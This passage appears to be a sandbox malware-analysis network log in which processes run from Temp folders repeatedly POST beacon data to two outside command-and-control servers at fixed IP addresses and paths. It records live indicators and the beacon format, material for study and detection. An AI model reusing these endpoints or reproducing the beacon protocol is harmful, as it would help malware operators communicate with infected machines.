Apr 19, 2024 03:31:25.927284956 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:26.181022882 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
318	192.168.2.5	50161	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:26.177280903 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:26.421849012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
319	192.168.2.5	50162	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:26.540323973 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:26.784744024 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
320	192.168.2.5	50163	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:26.677582026 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:26.930562019 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
321	192.168.2.5	50164	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:27.037194014 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:27.291599035 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
322	192.168.2.5	50165	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:27.286633015 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:27.531101942 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
323	192.168.2.5	50166	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:27.645931005 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:27.889358044 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
324	192.168.2.5	50167	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:27.791291952 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:28.047936916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
325	192.168.2.5	50168	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:28.146821976 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:28.403692007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
326	192.168.2.5	50169	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:28.409729004 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:28.657990932 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
327	192.168.2.5	50170	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:28.765470982 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:29.016846895 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
328	192.168.2.5	50171	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:28.909379005 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:29.160451889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
329	192.168.2.5	50172	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:29.271598101 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:29.523857117 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
330	192.168.2.5	50173	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:29.529052019 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:29.776853085 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
331	192.168.2.5	50174	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:29.883701086 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:30.128458977 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
332	192.168.2.5	50175	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:30.031157970 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:30.284478903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
333	192.168.2.5	50176	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:30.382853031 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:30.635801077 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
334	192.168.2.5	50177	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:30.648199081 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:30.895912886 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.5	50178	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:30.997479916 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:31.245719910 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.5	50179	193.233.132.56	80	8152	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:31.152559996 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:31:31.406743050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.5	50180	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:31.494344950 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:31:31.742284060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.5	50181	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:31.782877922 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:32.032886982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.5	50182	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:31:32.101059914 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:31:32.345674038 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:31:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.5	50183	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
